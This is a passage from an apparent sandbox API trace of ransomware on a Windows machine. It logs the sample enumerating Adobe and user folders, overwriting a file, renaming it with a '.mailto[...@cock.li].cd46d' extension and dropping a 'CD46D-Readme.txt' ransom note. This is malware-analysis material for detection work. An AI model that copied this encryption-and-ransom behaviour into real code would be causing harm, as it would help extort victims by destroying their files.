10.0\\Reader\\Legal\\RUM\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\eula.ini")) returned 0x20 [0156.080] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.080] GetLastError () returned 0x5 [0156.080] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.080] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8498) returned 1 Thread: id = 3834 os_tid = 0x1004 [0156.081] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html")) returned 0x20 [0156.081] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", dwFileAttributes=0x20) returned 0 [0156.081] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.081] GetLastError () returned 0x5 [0156.081] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", dwFileAttributes=0x20) returned 0 [0156.081] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abbe0) returned 1 Thread: id = 3835 os_tid = 0x1008 [0156.082] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\eula.ini")) returned 0x20 [0156.082] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.083] GetLastError () returned 0x5 [0156.083] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.083] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8018) returned 1 Thread: id = 3836 os_tid = 0x100c [0156.084] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html")) returned 0x20 [0156.084] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", dwFileAttributes=0x20) returned 0 [0156.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.084] GetLastError () returned 0x5 [0156.084] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", dwFileAttributes=0x20) returned 0 [0156.084] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac5f8) returned 1 Thread: id = 3837 os_tid = 0x1010 [0156.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf0) returned 0x8f6a60 [0156.085] wcscpy (in: _Dest=0x8f6a60, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0156.085] wcscat (in: _Dest=0x8f6a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\" [0156.085] wcscat (in: _Dest=0x8f6a60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" [0156.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908850 [0156.085] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942430 [0156.086] wcscmp (_String1=".", _String2=".") returned 0 [0156.086] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.086] wcscmp (_String1="..", _String2=".") returned 1 [0156.086] wcscmp (_String1="..", _String2="..") returned 0 [0156.086] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0156.086] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0156.086] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0156.086] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0156.086] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0156.086] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0156.086] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0156.086] FindClose (in: hFindFile=0x942430 | out: hFindFile=0x942430) returned 1 [0156.086] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908850) returned 1 [0156.086] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a60) returned 1 [0156.086] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 Thread: id = 3838 os_tid = 0x1014 [0156.087] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js")) returned 0x2020 [0156.088] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", dwFileAttributes=0x20) returned 1 [0157.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1668 [0157.389] GetFileSizeEx (in: hFile=0x1668, lpFileSize=0x71afe24 | out: lpFileSize=0x71afe24*=10) returned 1 [0157.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0157.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedd0 [0157.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeda8 [0157.389] NtQuerySystemTime (in: CurrentTime=0x71afd84 | out: CurrentTime=0x71afd84*=132174899319898000) returned 0x0 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x114401b0 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0xfac2169 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x2cb0ba8f [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x228b30ee [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x2de79854 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x40559424 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x278e6244 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x283a10c0 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x5b92e1af [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x284981b1 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x23935417 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x6767172 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x7119b953 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x71bb56ae [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x44c86482 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x44fefa71 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0xbac05bf [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x536a0b7d [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x5d6feabf [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x74cda0a2 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x6c82a99f [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x640edd1a [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x631dd00e [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x7d21fbc8 [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x34cfc97c [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x790c558d [0157.389] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x427b38e6 [0157.390] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x79370619 [0157.390] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x7e95767b [0157.390] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x53477699 [0157.390] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x2ad4e14c [0157.390] RtlRandomEx (in: Seed=0x71afd90 | out: Seed=0x71afd90) returned 0x2cbea184 [0157.405] ReadFile (in: hFile=0x1668, lpBuffer=0xd4f8870, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x71afd80, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesRead=0x71afd80*=0xa, lpOverlapped=0x0) returned 1 [0157.406] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.406] WriteFile (in: hFile=0x1668, lpBuffer=0xd505078*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x71afd7c, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesWritten=0x71afd7c*=0xa, lpOverlapped=0x0) returned 1 [0157.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e338 [0157.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e158 [0157.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e158) returned 1 [0157.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0157.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0157.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf90) returned 1 [0157.899] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0157.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2d) returned 0x8daa60 [0157.900] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.900] WriteFile (in: hFile=0x1668, lpBuffer=0x8ebe78*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x71afde4, lpOverlapped=0x0 | out: lpBuffer=0x8ebe78*, lpNumberOfBytesWritten=0x71afde4*=0x111, lpOverlapped=0x0) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9b8) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e158) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa60) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e338) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedd0) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af398) returned 1 [0159.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0159.800] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x104) returned 0x8ebe78 [0159.801] wcscpy (in: _Dest=0x8ebe78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" [0159.801] wcscat (in: _Dest=0x8ebe78, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.mailto[2Hamlampampom@cock.li].cd46d" [0159.801] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x71afd9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0159.801] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11a) returned 0x904a90 [0160.603] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0160.603] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9211e8) returned 1 [0160.603] NtQueryInformationFile (in: FileHandle=0x1668, IoStatusBlock=0x71afda8, FileInformation=0x71afd80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x71afda8, FileInformation=0x71afd80) returned 0x0 [0160.603] NtSetInformationFile (FileHandle=0x1668, IoStatusBlock=0x71afda8, FileInformation=0x71afd80, Length=0x28, FileInformationClass=0x4) returned 0x0 [0160.697] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0160.697] FlushFileBuffers (hFile=0x1668) returned 1 [0160.700] CloseHandle (hObject=0x1668) returned 1 [0160.717] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbe) returned 0xd4ba2a0 [0160.717] wcscpy (in: _Dest=0xd4ba2a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0160.717] wcscat (in: _Dest=0xd4ba2a0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\CD46D-Readme.txt" [0160.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\cd46d-readme.txt")) returned 0xffffffff [0160.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1150 [0160.723] WriteFile (in: hFile=0x1150, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x71afda4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x71afda4*=0x6fd, lpOverlapped=0x0) returned 1 [0160.724] CloseHandle (hObject=0x1150) returned 1 [0160.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba2a0) returned 1 [0160.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba110) returned 1 Thread: id = 3839 os_tid = 0x1018 [0156.088] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9acee8 [0156.088] wcscpy (in: _Dest=0x9acee8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0156.089] wcscat (in: _Dest=0x9acee8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0156.089] wcscat (in: _Dest=0x9acee8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*" [0156.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908850 [0156.089] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942430 [0156.089] wcscmp (_String1=".", _String2=".") returned 0 [0156.089] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.089] wcscmp (_String1="..", _String2=".") returned 1 [0156.089] wcscmp (_String1="..", _String2="..") returned 0 [0156.089] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8f3d60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0156.089] wcscmp (_String1="addressbook.acrodata", _String2=".") returned 1 [0156.089] wcscmp (_String1="addressbook.acrodata", _String2="..") returned 1 [0156.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbe) returned 0xd4b9ad0 [0156.089] wcscpy (in: _Dest=0xd4b9ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0156.089] wcscat (in: _Dest=0xd4b9ad0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0156.089] wcscat (in: _Dest=0xd4b9ad0, _Source="addressbook.acrodata" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" [0158.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x183c [0158.731] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0158.731] wcscmp (_String1="CRLCache", _String2=".") returned 1 [0158.731] wcscmp (_String1="CRLCache", 